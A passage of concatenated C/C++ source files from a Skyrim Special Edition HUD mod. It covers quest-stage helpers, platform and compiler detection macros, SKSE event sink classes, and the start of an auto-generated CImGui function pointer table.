logger::trace("waiting Stages for quest {}"sv, hex);
auto waiting = a_quest->waitingStages;
for (auto it = waiting->begin(); it != waiting->end(); ++it) {
auto i = *it;
auto qstdata = i->data;
logger::trace("index {}, flag {}"sv, qstdata.index, qstdata.flags.get());
if (qstdata.flags.underlying() == 1) {
finStages.push_back(qstdata.index);
}
}
return finStages;
}
static bool isOneQuestStageComplete(RE::TESQuest* a_quest, std::vector<uint16_t> a_stages)
{
auto finStages = getStagesIfComplete(a_quest);
auto intersect = VectorUtil::getIntersect(finStages, a_stages);
auto hex = StringUtil::intToHex(a_quest->GetFormID());
logger::debug("For Quest {}, got Stages (Values)/size completed ({})/{}, given ({})/{}, intersect ({})/{}"sv,
hex,
VectorUtil::getDelimitedString(finStages),
finStages.size(),
VectorUtil::getDelimitedString(a_stages),
a_stages.size(),
VectorUtil::getDelimitedString(intersect),
intersect.size());
return intersect.size() > 0 ? true : false;
}
static bool isQuestStageComplete(RE::TESQuest* a_quest, uint16_t a_stage)
{
return isOneQuestStageComplete(a_quest, std::vector{ a_stage });
}
static bool isQuestStageComplete(RE::FormID a_form_id, uint16_t a_stage)
{
auto qst = RE::TESForm::LookupByID(a_form_id)->As<RE::TESQuest>();
return isQuestStageComplete(qst, a_stage);
}
static bool isOneQuestStageComplete(RE::FormID a_form_id, std::vector<uint16_t> a_stages)
{
auto qst = RE::TESForm::LookupByID(a_form_id)->As<RE::TESQuest>();
return isOneQuestStageComplete(qst, a_stages);
}
static uint16_t getAs(int a_i) { return static_cast<uint16_t>(a_i); }
}
|
cheetman/skyrim-sse-hud
|
src/sse-imgui/platform.h
|
/**
* @file platform.h
* @brief Detect the current operating environment
* @internal
*
* This file is part of SSE Hooks project (aka SSE-ImGui).
*
* SSE-ImGui is free software: you can redistribute it and/or modify it
* under the terms of the GNU Lesser General Public License as published
* by the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* SSE-ImGui is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public
* License along with SSE-ImGui. If not, see <http://www.gnu.org/licenses/>.
*
* @endinternal
*
* @ingroup Public API
*
* @details
* This file contains conditional macro definitions determining compile time
* attributes according to the operating environment. As of now it detects
* the intended operating system where the exectuable will run under, which
* compiler is used for the build and API build helpers.
*/
#ifndef SSEIMGUI_PLATFORM_H
#define SSEIMGUI_PLATFORM_H
/*----------------------------------------------------------------------------*/
/* Select operating system: */
#undef SSEIMGUI_WINDOWS
#undef SSEIMGUI_POSIX
#if defined(_WIN32) \
|| defined(_WIN64) \
|| defined(__WIN32__) \
|| defined(__WINDOWS__) \
|| defined(__MINGW32__) \
|| defined(__MINGW64__)
/** Defined when targeting Microsoft Windows operating system */
#define SSEIMGUI_WINDOWS
#else
/** Defined when NOT targeting Windows but POSIX compatible system */
#define SSEIMGUI_POSIX
#endif
/*----------------------------------------------------------------------------*/
/* Select compiler: */
#undef SSEIMGUI_GNUC
#undef SSEIMGUI_MSVC
#undef SSEIMGUI_MINGW
#if defined(__GNUC__)
/** Any GNU GCC C++ compiler */
#define SSEIMGUI_GNUC \
(__GNUC__ * 10000 + __GNUC_MINOR__ * 100 + __GNUC_PATCHLEVEL__)
#if defined(__MINGW32__) || defined(__MINGW64__)
/** GNU GCC as cross compiler or native under Windows. */
#define SSEIMGUI_MINGW SSEIMGUI_GNUC
#endif
#elif defined(_MSC_VER) /* Last as other vendors also define this. */
/** Any Microsoft Visual Studio C++ compiler. */
#define SSEIMGUI_MSVC (_MSC_VER)
#endif
/*----------------------------------------------------------------------------*/
/* Select the C calling convention: */
#undef SSEIMGUI_CCONV
#if defined(SSEIMGUI_WINDOWS) && !defined(SSEIMGUI_MINGW)
#if defined(SSEIMGUI_GNUC)
/** GCC on Windows understands stdcall */
#define SSEIMGUI_CCONV __attribute__((stdcall))
#elif defined(SSEIMGUI_MSVC)
/** Visual C++ on Windows uses stdcall */
#define SSEIMGUI_CCONV __stdcall
#endif
#elif defined(SSEIMGUI_POSIX) || defined(SSEIMGUI_MINGW)
/** Linux/Unix/Cross and etc. use only one type of convention */
#define SSEIMGUI_CCONV
#endif
/*----------------------------------------------------------------------------*/
/* Select the shared library interface */
#undef SSEIMGUI_API
#if defined(SSEIMGUI_WINDOWS)
/* In practice this is defined as paramater to the build. */
#if defined(SSEIMGUI_BUILD_API)
/** The current build exposes DLL functions */
#define SSEIMGUI_API __declspec(dllexport)
#else
/** The current build imports, previously exported DLL functions */
#define SSEIMGUI_API __declspec(dllimport)
#endif
#elif defined(SSEIMGUI_POSIX)
/** The current build does not use any specific storage information */
#define SSEIMGUI_API
#endif
/*----------------------------------------------------------------------------*/
#endif
|
cheetman/skyrim-sse-hud
|
src/event/BSTCrosshairRefEvent.h
|
#pragma once
#include <PCH.h>
#include "SKSE\API.h"
#include "utils/utils.h"
#include <string>
using EventResult = RE::BSEventNotifyControl;
static class BSTCrosshairRefEvent : public RE::BSTEventSink<SKSE::CrosshairRefEvent>
{
public:
//static BSTCrosshairRefEvent* GetSingleton();
static void Register();
RE::TESObjectREFR* GetCrosshairReference();
protected:
EventResult ProcessEvent(const SKSE::CrosshairRefEvent* a_event, RE::BSTEventSource<SKSE::CrosshairRefEvent>*);
private:
BSTCrosshairRefEvent() = default;
BSTCrosshairRefEvent(const BSTCrosshairRefEvent&) = delete;
BSTCrosshairRefEvent(BSTCrosshairRefEvent&&) = delete;
~BSTCrosshairRefEvent() = default;
BSTCrosshairRefEvent& operator=(const BSTCrosshairRefEvent&) = delete;
BSTCrosshairRefEvent& operator=(BSTCrosshairRefEvent&&) = delete;
RE::TESObjectREFR* _cachedRef;
};
|
cheetman/skyrim-sse-hud
|
src/event/BSTScriptEvent.h
|
#pragma once
#include <PCH.h>
using EventResult = RE::BSEventNotifyControl;
class OnHitEventHandler : public RE::BSTEventSink<RE::TESHitEvent>
{
public:
virtual EventResult ProcessEvent(const RE::TESHitEvent* a_event, RE::BSTEventSource<RE::TESHitEvent>* a_eventSource)
{
if (!a_event || !a_eventSource) {
SKSE::log::info("Event Source Not Found!");
return EventResult::kContinue;
}
SKSE::log::info("OnHit Event Trigger!");
SKSE::log::info("Hit flag is {}, source is {:x}", a_event->flags.get(), a_event->source);
return EventResult::kContinue;
}
static bool Register()
{
static OnHitEventHandler singleton;
auto ScriptEventSource = RE::ScriptEventSourceHolder::GetSingleton();
if (!ScriptEventSource) {
SKSE::log::info("ScriptEventSource not found!");
return false;
}
ScriptEventSource->AddEventSink(&singleton);
SKSE::log::info("Register {}", typeid(singleton).name());
return true;
}
private:
OnHitEventHandler() = default;
~OnHitEventHandler() = default;
OnHitEventHandler(const OnHitEventHandler&) = delete;
OnHitEventHandler(OnHitEventHandler&&) = delete;
OnHitEventHandler& operator=(const OnHitEventHandler&) = delete;
OnHitEventHandler& operator=(OnHitEventHandler&&) = delete;
};
|
cheetman/skyrim-sse-hud
|
src/event/BSTMenuEvent.h
|
<reponame>cheetman/skyrim-sse-hud
#pragma once
#include <PCH.h>
static bool isOpenCursorMenu = false;
class MenuOpenCloseEvent : public RE::BSTEventSink<RE::MenuOpenCloseEvent>
{
public:
virtual RE::BSEventNotifyControl ProcessEvent(RE::MenuOpenCloseEvent const* a_event, RE::BSTEventSource<RE::MenuOpenCloseEvent>* a_eventSource)
{
if (!a_event || !a_eventSource) {
SKSE::log::info("Event Source Not Found!");
return RE::BSEventNotifyControl::kContinue;
}
/*if (a_event->opening && a_event->menuName == RE::InterfaceStrings::GetSingleton()->console) {
}*/
if (a_event->menuName == RE::InterfaceStrings::GetSingleton()->cursorMenu) {
isOpenCursorMenu = a_event->opening;
}
//SKSE::log::info("{} {} !", a_event->menuName, a_event->opening ? "Open" : "Close");
return RE::BSEventNotifyControl::kContinue;
}
static bool Register()
{
static MenuOpenCloseEvent singleton;
auto ui = RE::UI::GetSingleton();
if (!ui)
return false;
ui->AddEventSink(&singleton);
SKSE::log::info("Register {}", typeid(singleton).name());
return true;
}
private:
MenuOpenCloseEvent() = default;
~MenuOpenCloseEvent() = default;
MenuOpenCloseEvent(const MenuOpenCloseEvent&) = delete;
MenuOpenCloseEvent(MenuOpenCloseEvent&&) = delete;
MenuOpenCloseEvent& operator=(const MenuOpenCloseEvent&) = delete;
MenuOpenCloseEvent& operator=(MenuOpenCloseEvent&&) = delete;
};
|
cheetman/skyrim-sse-hud
|
src/sse-imgui/imgui_wrapped.h
|
/**
* @file imgui_wrapped.h
* @brief Public ImGUI C API for users of SSE ImGui
* @internal
*
* This file is part of the Skyrim SE ImGui mod (aka SSE ImGui).
*
* SSE ImGui includes parts licensed under MIT, that is the CImGui and ImGUI
* files included in this project. Refer to their individual licenses.
*
* SSE ImGui is free software: you can redistribute it and/or modify it
* under the terms of the GNU Lesser General Public License as published
* by the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* SSE ImGui is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public
* License along with SSE ImGui. If not, see <http://www.gnu.org/licenses/>.
*
* @endinternal
*
* @ingroup Public API
*
* @see https://github.com/cimgui/cimgui
* @see https://github.com/ocornut/imgui
*
* @details
* This file is auto-generated from pre-parsed files of cimgui, which in turn
* is auto-generated from the ImGui headers. Purpose of this file is to enable
* ImGui being bundled in a shared library which is explicitly linked.
* Basically, allow SSE ImGui to exist as SKSE plugin and being shared across
* many other plugin users. Otherwise everybody who wants to utilize ImGui
* would have to hold on its own copy in the process memory, which is still
* possible, but it will consume much more resources.
*
* See the #sseimgui_imgui_api() function to create a copy of the pointers set.
* Note that the pointers calling convention follows the CImGui one, not the
* project one.
*/
#ifndef SSEIMGUI_IMGUI_WRAPPED_H
#define SSEIMGUI_IMGUI_WRAPPED_H
/* Prefer the pointer table, and save users from re-exporting each time */
#ifndef CIMGUI_NO_EXPORT
# define CIMGUI_NO_EXPORT
#endif
#ifndef CIMGUI_DEFINE_ENUMS_AND_STRUCTS
# define CIMGUI_DEFINE_ENUMS_AND_STRUCTS
#endif
#include "cimgui.h"
#include "platform.h"
#ifdef __cplusplus
extern "C" {
#endif
/******************************************************************************/
/** Holds all CImGui (hence ImGui) functions as pointers */
struct imgui_api_v1
{
ImVec2* (* ImVec2_ImVec2) (void);
void (* ImVec2_destroy) (ImVec2* self);
ImVec2* (* ImVec2_ImVec2Float) (float _x,float _y);
ImVec4* (* ImVec4_ImVec4) (void);
void (* ImVec4_destroy) (ImVec4* self);
ImVec4* (* ImVec4_ImVec4Float) (float _x,float _y,float _z,float _w);
ImGuiContext* (* igCreateContext) (ImFontAtlas* shared_font_atlas);
void (* igDestroyContext) (ImGuiContext* ctx);
ImGuiContext* (* igGetCurrentContext) (void);
void (* igSetCurrentContext) (ImGuiContext* ctx);
bool (* igDebugCheckVersionAndDataLayout) (const char* version_str,size_t sz_io,size_t sz_style,size_t sz_vec2,size_t sz_vec4,size_t sz_drawvert,size_t sz_drawidx);
ImGuiIO* (* igGetIO) (void);
ImGuiStyle* (* igGetStyle) (void);
void (* igNewFrame) (void);
void (* igEndFrame) (void);
void (* igRender) (void);
ImDrawData* (* igGetDrawData) (void);
void (* igShowDemoWindow) (bool* p_open);
void (* igShowAboutWindow) (bool* p_open);
void (* igShowMetricsWindow) (bool* p_open);
void (* igShowStyleEditor) (ImGuiStyle* ref);
bool (* igShowStyleSelector) (const char* label);
void (* igShowFontSelector) (const char* label);
void (* igShowUserGuide) (void);
const char* (* igGetVersion) (void);
void (* igStyleColorsDark) (ImGuiStyle* dst);
void (* igStyleColorsClassic) (ImGuiStyle* dst);
void (* igStyleColorsLight) (ImGuiStyle* dst);
bool (* igBegin) (const char* name,bool* p_open,ImGuiWindowFlags flags);
void (* igEnd) (void);
bool (* igBeginChild) (const char* str_id,const ImVec2 size,bool border,ImGuiWindowFlags flags);
bool (* igBeginChildID) (ImGuiID id,const ImVec2 size,bool border,ImGuiWindowFlags flags);
void (* igEndChild) (void);
bool (* igIsWindowAppearing) (void);
bool (* igIsWindowCollapsed) (void);
bool (* igIsWindowFocused) (ImGuiFocusedFlags flags);
bool (* igIsWindowHovered) (ImGuiHoveredFlags flags);
ImDrawList* (* igGetWindowDrawList) (void);
ImVec2 (* igGetWindowPos) (void);
ImVec2 (* igGetWindowSize) (void);
float (* igGetWindowWidth) (void);
float (* igGetWindowHeight) (void);
void (* igSetNextWindowPos) (const ImVec2 pos,ImGuiCond cond,const ImVec2 pivot);
void (* igSetNextWindowSize) (const ImVec2 size,ImGuiCond cond);
void (* igSetNextWindowSizeConstraints) (const ImVec2 size_min,const ImVec2 size_max,ImGuiSizeCallback custom_callback,void* custom_callback_data);
void (* igSetNextWindowContentSize) (const ImVec2 size);
void (* igSetNextWindowCollapsed) (bool collapsed,ImGuiCond cond);
void (* igSetNextWindowFocus) (void);
void (* igSetNextWindowBgAlpha) (float alpha);
void (* igSetWindowPosVec2) (const ImVec2 pos,ImGuiCond cond);
void (* igSetWindowSizeVec2) (const ImVec2 size,ImGuiCond cond);
void (* igSetWindowCollapsedBool) (bool collapsed,ImGuiCond cond);
void (* igSetWindowFocus) (void);
void (* igSetWindowFontScale) (float scale);
void (* igSetWindowPosStr) (const char* name,const ImVec2 pos,ImGuiCond cond);
void (* igSetWindowSizeStr) (const char* name,const ImVec2 size,ImGuiCond cond);
void (* igSetWindowCollapsedStr) (const char* name,bool collapsed,ImGuiCond cond);
void (* igSetWindowFocusStr) (const char* name);
ImVec2 (* igGetContentRegionMax) (void);
ImVec2 (* igGetContentRegionAvail) (void);
ImVec2 (* igGetWindowContentRegionMin) (void);
ImVec2 (* igGetWindowContentRegionMax) (void);
float (* igGetWindowContentRegionWidth) (void);
float (* igGetScrollX) (void);
float (* igGetScrollY) (void);
float (* igGetScrollMaxX) (void);
float (* igGetScrollMaxY) (void);
void (* igSetScrollX) (float scroll_x);
void (* igSetScrollY) (float scroll_y);
void (* igSetScrollHereY) (float center_y_ratio);
void (* igSetScrollFromPosY) (float local_y,float center_y_ratio);
void (* igPushFont) (ImFont* font);
void (* igPopFont) (void);
void (* igPushStyleColorU32) (ImGuiCol idx,ImU32 col);
void (* igPushStyleColor) (ImGuiCol idx,const ImVec4 col);
void (* igPopStyleColor) (int count);
void (* igPushStyleVarFloat) (ImGuiStyleVar idx,float val);
void (* igPushStyleVarVec2) (ImGuiStyleVar idx,const ImVec2 val);
void (* igPopStyleVar) (int count);
const ImVec4* (* igGetStyleColorVec4) (ImGuiCol idx);
ImFont* (* igGetFont) (void);
float (* igGetFontSize) (void);
ImVec2 (* igGetFontTexUvWhitePixel) (void);
ImU32 (* igGetColorU32) (ImGuiCol idx,float alpha_mul);
ImU32 (* igGetColorU32Vec4) (const ImVec4 col);
ImU32 (* igGetColorU32U32) (ImU32 col);
void (* igPushItemWidth) (float item_width);
void (* igPopItemWidth) (void);
void (* igSetNextItemWidth) (float item_width);
float (* igCalcItemWidth) (void);
void (* igPushTextWrapPos) (float wrap_local_pos_x);
void (* igPopTextWrapPos) (void);
void (* igPushAllowKeyboardFocus) (bool allow_keyboard_focus);
void (* igPopAllowKeyboardFocus) (void);
void (* igPushButtonRepeat) (bool repeat);
void (* igPopButtonRepeat) (void);
void (* igSeparator) (void);
void (* igSameLine) (float offset_from_start_x,float spacing);
void (* igNewLine) (void);
void (* igSpacing) (void);
void (* igDummy) (const ImVec2 size);
void (* igIndent) (float indent_w);
void (* igUnindent) (float indent_w);
void (* igBeginGroup) (void);
void (* igEndGroup) (void);
ImVec2 (* igGetCursorPos) (void);
float (* igGetCursorPosX) (void);
float (* igGetCursorPosY) (void);
void (* igSetCursorPos) (const ImVec2 local_pos);
void (* igSetCursorPosX) (float local_x);
void (* igSetCursorPosY) (float local_y);
ImVec2 (* igGetCursorStartPos) (void);
ImVec2 (* igGetCursorScreenPos) (void);
void (* igSetCursorScreenPos) (const ImVec2 pos);
void (* igAlignTextToFramePadding) (void);
float (* igGetTextLineHeight) (void);
float (* igGetTextLineHeightWithSpacing) (void);
float (* igGetFrameHeight) (void);
float (* igGetFrameHeightWithSpacing) (void);
void (* igPushIDStr) (const char* str_id);
void (* igPushIDRange) (const char* str_id_begin,const char* str_id_end);
void (* igPushIDPtr) (const void* ptr_id);
void (* igPushIDInt) (int int_id);
void (* igPopID) (void);
ImGuiID (* igGetIDStr) (const char* str_id);
ImGuiID (* igGetIDRange) (const char* str_id_begin,const char* str_id_end);
ImGuiID (* igGetIDPtr) (const void* ptr_id);
void (* igTextUnformatted) (const char* text,const char* text_end);
void (* igText) (const char* fmt,...);
void (* igTextV) (const char* fmt,va_list args);
void (* igTextColored) (const ImVec4 col,const char* fmt,...);
void (* igTextColoredV) (const ImVec4 col,const char* fmt,va_list args);
void (* igTextDisabled) (const char* fmt,...);
void (* igTextDisabledV) (const char* fmt,va_list args);
void (* igTextWrapped) (const char* fmt,...);
void (* igTextWrappedV) (const char* fmt,va_list args);
void (* igLabelText) (const char* label,const char* fmt,...);
void (* igLabelTextV) (const char* label,const char* fmt,va_list args);
void (* igBulletText) (const char* fmt,...);
void (* igBulletTextV) (const char* fmt,va_list args);
bool (* igButton) (const char* label,const ImVec2 size);
bool (* igSmallButton) (const char* label);
bool (* igInvisibleButton) (const char* str_id,const ImVec2 size);
bool (* igArrowButton) (const char* str_id,ImGuiDir dir);
void (* igImage) (ImTextureID user_texture_id,const ImVec2 size,const ImVec2 uv0,const ImVec2 uv1,const ImVec4 tint_col,const ImVec4 border_col);
bool (* igImageButton) (ImTextureID user_texture_id,const ImVec2 size,const ImVec2 uv0,const ImVec2 uv1,int frame_padding,const ImVec4 bg_col,const ImVec4 tint_col);
bool (* igCheckbox) (const char* label,bool* v);
bool (* igCheckboxFlags) (const char* label,unsigned int* flags,unsigned int flags_value);
bool (* igRadioButtonBool) (const char* label,bool active);
bool (* igRadioButtonIntPtr) (const char* label,int* v,int v_button);
void (* igProgressBar) (float fraction,const ImVec2 size_arg,const char* overlay);
void (* igBullet) (void);
bool (* igBeginCombo) (const char* label,const char* preview_value,ImGuiComboFlags flags);
void (* igEndCombo) (void);
bool (* igCombo) (const char* label,int* current_item,const char* const items[],int items_count,int popup_max_height_in_items);
bool (* igComboStr) (const char* label,int* current_item,const char* items_separated_by_zeros,int popup_max_height_in_items);
bool (* igComboFnPtr) (const char* label,int* current_item,bool(*items_getter)(void* data,int idx,const char** out_text),void* data,int items_count,int popup_max_height_in_items);
bool (* igDragFloat) (const char* label,float* v,float v_speed,float v_min,float v_max,const char* format,float power);
bool (* igDragFloat2) (const char* label,float v[2],float v_speed,float v_min,float v_max,const char* format,float power);
bool (* igDragFloat3) (const char* label,float v[3],float v_speed,float v_min,float v_max,const char* format,float power);
bool (* igDragFloat4) (const char* label,float v[4],float v_speed,float v_min,float v_max,const char* format,float power);
bool (* igDragFloatRange2) (const char* label,float* v_current_min,float* v_current_max,float v_speed,float v_min,float v_max,const char* format,const char* format_max,float power);
bool (* igDragInt) (const char* label,int* v,float v_speed,int v_min,int v_max,const char* format);
bool (* igDragInt2) (const char* label,int v[2],float v_speed,int v_min,int v_max,const char* format);
bool (* igDragInt3) (const char* label,int v[3],float v_speed,int v_min,int v_max,const char* format);
bool (* igDragInt4) (const char* label,int v[4],float v_speed,int v_min,int v_max,const char* format);
bool (* igDragIntRange2) (const char* label,int* v_current_min,int* v_current_max,float v_speed,int v_min,int v_max,const char* format,const char* format_max);
bool (* igDragScalar) (const char* label,ImGuiDataType data_type,void* v,float v_speed,const void* v_min,const void* v_max,const char* format,float power);
bool (* igDragScalarN) (const char* label,ImGuiDataType data_type,void* v,int components,float v_speed,const void* v_min,const void* v_max,const char* format,float power);
bool (* igSliderFloat) (const char* label,float* v,float v_min,float v_max,const char* format,float power);
bool (* igSliderFloat2) (const char* label,float v[2],float v_min,float v_max,const char* format,float power);
bool (* igSliderFloat3) (const char* label,float v[3],float v_min,float v_max,const char* format,float power);
bool (* igSliderFloat4) (const char* label,float v[4],float v_min,float v_max,const char* format,float power);
bool (* igSliderAngle) (const char* label,float* v_rad,float v_degrees_min,float v_degrees_max,const char* format);
bool (* igSliderInt) (const char* label,int* v,int v_min,int v_max,const char* format);
bool (* igSliderInt2) (const char* label,int v[2],int v_min,int v_max,const char* format);
bool (* igSliderInt3) (const char* label,int v[3],int v_min,int v_max,const char* format);
bool (* igSliderInt4) (const char* label,int v[4],int v_min,int v_max,const char* format);
bool (* igSliderScalar) (const char* label,ImGuiDataType data_type,void* v,const void* v_min,const void* v_max,const char* format,float power);
bool (* igSliderScalarN) (const char* label,ImGuiDataType data_type,void* v,int components,const void* v_min,const void* v_max,const char* format,float power);
bool (* igVSliderFloat) (const char* label,const ImVec2 size,float* v,float v_min,float v_max,const char* format,float power);
bool (* igVSliderInt) (const char* label,const ImVec2 size,int* v,int v_min,int v_max,const char* format);
bool (* igVSliderScalar) (const char* label,const ImVec2 size,ImGuiDataType data_type,void* v,const void* v_min,const void* v_max,const char* format,float power);
bool (* igInputText) (const char* label,char* buf,size_t buf_size,ImGuiInputTextFlags flags,ImGuiInputTextCallback callback,void* user_data);
bool (* igInputTextMultiline) (const char* label,char* buf,size_t buf_size,const ImVec2 size,ImGuiInputTextFlags flags,ImGuiInputTextCallback callback,void* user_data);
bool (* igInputTextWithHint) (const char* label,const char* hint,char* buf,size_t buf_size,ImGuiInputTextFlags flags,ImGuiInputTextCallback callback,void* user_data);
bool (* igInputFloat) (const char* label,float* v,float step,float step_fast,const char* format,ImGuiInputTextFlags flags);
bool (* igInputFloat2) (const char* label,float v[2],const char* format,ImGuiInputTextFlags flags);
bool (* igInputFloat3) (const char* label,float v[3],const char* format,ImGuiInputTextFlags flags);
bool (* igInputFloat4) (const char* label,float v[4],const char* format,ImGuiInputTextFlags flags);
bool (* igInputInt) (const char* label,int* v,int step,int step_fast,ImGuiInputTextFlags flags);
bool (* igInputInt2) (const char* label,int v[2],ImGuiInputTextFlags flags);
bool (* igInputInt3) (const char* label,int v[3],ImGuiInputTextFlags flags);
bool (* igInputInt4) (const char* label,int v[4],ImGuiInputTextFlags flags);
bool (* igInputDouble) (const char* label,double* v,double step,double step_fast,const char* format,ImGuiInputTextFlags flags);
bool (* igInputScalar) (const char* label,ImGuiDataType data_type,void* v,const void* step,const void* step_fast,const char* format,ImGuiInputTextFlags flags);
bool (* igInputScalarN) (const char* label,ImGuiDataType data_type,void* v,int components,const void* step,const void* step_fast,const char* format,ImGuiInputTextFlags flags);
bool (* igColorEdit3) (const char* label,float col[3],ImGuiColorEditFlags flags);
bool (* igColorEdit4) (const char* label,float col[4],ImGuiColorEditFlags flags);
bool (* igColorPicker3) (const char* label,float col[3],ImGuiColorEditFlags flags);
bool (* igColorPicker4) (const char* label,float col[4],ImGuiColorEditFlags flags,const float* ref_col);
bool (* igColorButton) (const char* desc_id,const ImVec4 col,ImGuiColorEditFlags flags,ImVec2 size);
void (* igSetColorEditOptions) (ImGuiColorEditFlags flags);
bool (* igTreeNodeStr) (const char* label);
bool (* igTreeNodeStrStr) (const char* str_id,const char* fmt,...);
bool (* igTreeNodePtr) (const void* ptr_id,const char* fmt,...);
bool (* igTreeNodeVStr) (const char* str_id,const char* fmt,va_list args);
bool (* igTreeNodeVPtr) (const void* ptr_id,const char* fmt,va_list args);
bool (* igTreeNodeExStr) (const char* label,ImGuiTreeNodeFlags flags);
bool (* igTreeNodeExStrStr) (const char* str_id,ImGuiTreeNodeFlags flags,const char* fmt,...);
bool (* igTreeNodeExPtr) (const void* ptr_id,ImGuiTreeNodeFlags flags,const char* fmt,...);
bool (* igTreeNodeExVStr) (const char* str_id,ImGuiTreeNodeFlags flags,const char* fmt,va_list args);
bool (* igTreeNodeExVPtr) (const void* ptr_id,ImGuiTreeNodeFlags flags,const char* fmt,va_list args);
void (* igTreePushStr) (const char* str_id);
void (* igTreePushPtr) (const void* ptr_id);
void (* igTreePop) (void);
void (* igTreeAdvanceToLabelPos) (void);
float (* igGetTreeNodeToLabelSpacing) (void);
void (* igSetNextTreeNodeOpen) (bool is_open,ImGuiCond cond);
bool (* igCollapsingHeader) (const char* label,ImGuiTreeNodeFlags flags);
bool (* igCollapsingHeaderBoolPtr) (const char* label,bool* p_open,ImGuiTreeNodeFlags flags);
bool (* igSelectable) (const char* label,bool selected,ImGuiSelectableFlags flags,const ImVec2 size);
bool (* igSelectableBoolPtr) (const char* label,bool* p_selected,ImGuiSelectableFlags flags,const ImVec2 size);
bool (* igListBoxStr_arr) (const char* label,int* current_item,const char* const items[],int items_count,int height_in_items);
bool (* igListBoxFnPtr) (const char* label,int* current_item,bool(*items_getter)(void* data,int idx,const char** out_text),void* data,int items_count,int height_in_items);
bool (* igListBoxHeaderVec2) (const char* label,const ImVec2 size);
bool (* igListBoxHeaderInt) (const char* label,int items_count,int height_in_items);
void (* igListBoxFooter) (void);
void (* igPlotLines) (const char* label,const float* values,int values_count,int values_offset,const char* overlay_text,float scale_min,float scale_max,ImVec2 graph_size,int stride);
void (* igPlotLinesFnPtr) (const char* label,float(*values_getter)(void* data,int idx),void* data,int values_count,int values_offset,const char* overlay_text,float scale_min,float scale_max,ImVec2 graph_size);
void (* igPlotHistogramFloatPtr) (const char* label,const float* values,int values_count,int values_offset,const char* overlay_text,float scale_min,float scale_max,ImVec2 graph_size,int stride);
void (* igPlotHistogramFnPtr) (const char* label,float(*values_getter)(void* data,int idx),void* data,int values_count,int values_offset,const char* overlay_text,float scale_min,float scale_max,ImVec2 graph_size);
void (* igValueBool) (const char* prefix,bool b);
void (* igValueInt) (const char* prefix,int v);
void (* igValueUint) (const char* prefix,unsigned int v);
void (* igValueFloat) (const char* prefix,float v,const char* float_format);
bool (* igBeginMainMenuBar) (void);
void (* igEndMainMenuBar) (void);
bool (* igBeginMenuBar) (void);
void (* igEndMenuBar) (void);
bool (* igBeginMenu) (const char* label,bool enabled);
void (* igEndMenu) (void);
bool (* igMenuItemBool) (const char* label,const char* shortcut,bool selected,bool enabled);
bool (* igMenuItemBoolPtr) (const char* label,const char* shortcut,bool* p_selected,bool enabled);
void (* igBeginTooltip) (void);
void (* igEndTooltip) (void);
void (* igSetTooltip) (const char* fmt,...);
void (* igSetTooltipV) (const char* fmt,va_list args);
void (* igOpenPopup) (const char* str_id);
bool (* igBeginPopup) (const char* str_id,ImGuiWindowFlags flags);
bool (* igBeginPopupContextItem) (const char* str_id,int mouse_button);
bool (* igBeginPopupContextWindow) (const char* str_id,int mouse_button,bool also_over_items);
bool (* igBeginPopupContextVoid) (const char* str_id,int mouse_button);
bool (* igBeginPopupModal) (const char* name,bool* p_open,ImGuiWindowFlags flags);
void (* igEndPopup) (void);
bool (* igOpenPopupOnItemClick) (const char* str_id,int mouse_button);
bool (* igIsPopupOpen) (const char* str_id);
void (* igCloseCurrentPopup) (void);
void (* igColumns) (int count,const char* id,bool border);
void (* igNextColumn) (void);
int (* igGetColumnIndex) (void);
float (* igGetColumnWidth) (int column_index);
void (* igSetColumnWidth) (int column_index,float width);
float (* igGetColumnOffset) (int column_index);
void (* igSetColumnOffset) (int column_index,float offset_x);
int (* igGetColumnsCount) (void);
bool (* igBeginTabBar) (const char* str_id,ImGuiTabBarFlags flags);
void (* igEndTabBar) (void);
bool (* igBeginTabItem) (const char* label,bool* p_open,ImGuiTabItemFlags flags);
void (* igEndTabItem) (void);
void (* igSetTabItemClosed) (const char* tab_or_docked_window_label);
void (* igLogToTTY) (int auto_open_depth);
void (* igLogToFile) (int auto_open_depth,const char* filename);
void (* igLogToClipboard) (int auto_open_depth);
void (* igLogFinish) (void);
void (* igLogButtons) (void);
bool (* igBeginDragDropSource) (ImGuiDragDropFlags flags);
bool (* igSetDragDropPayload) (const char* type,const void* data,size_t sz,ImGuiCond cond);
void (* igEndDragDropSource) (void);
bool (* igBeginDragDropTarget) (void);
const ImGuiPayload* (* igAcceptDragDropPayload) (const char* type,ImGuiDragDropFlags flags);
void (* igEndDragDropTarget) (void);
const ImGuiPayload* (* igGetDragDropPayload) (void);
void (* igPushClipRect) (const ImVec2 clip_rect_min,const ImVec2 clip_rect_max,bool intersect_with_current_clip_rect);
void (* igPopClipRect) (void);
void (* igSetItemDefaultFocus) (void);
void (* igSetKeyboardFocusHere) (int offset);
bool (* igIsItemHovered) (ImGuiHoveredFlags flags);
bool (* igIsItemActive) (void);
bool (* igIsItemFocused) (void);
bool (* igIsItemClicked) (int mouse_button);
bool (* igIsItemVisible) (void);
bool (* igIsItemEdited) (void);
bool (* igIsItemActivated) (void);
bool (* igIsItemDeactivated) (void);
bool (* igIsItemDeactivatedAfterEdit) (void);
bool (* igIsAnyItemHovered) (void);
bool (* igIsAnyItemActive) (void);
bool (* igIsAnyItemFocused) (void);
ImVec2 (* igGetItemRectMin) (void);
ImVec2 (* igGetItemRectMax) (void);
ImVec2 (* igGetItemRectSize) (void);
void (* igSetItemAllowOverlap) (void);
bool (* igIsRectVisible) (const ImVec2 size);
bool (* igIsRectVisibleVec2) (const ImVec2 rect_min,const ImVec2 rect_max);
double (* igGetTime) (void);
int (* igGetFrameCount) (void);
ImDrawList* (* igGetBackgroundDrawList) (void);
ImDrawList* (* igGetForegroundDrawList) (void);
ImDrawListSharedData* (* igGetDrawListSharedData) (void);
const char* (* igGetStyleColorName) (ImGuiCol idx);
void (* igSetStateStorage) (ImGuiStorage* storage);
ImGuiStorage* (* igGetStateStorage) (void);
ImVec2 (* igCalcTextSize) (const char* text,const char* text_end,bool hide_text_after_double_hash,float wrap_width);
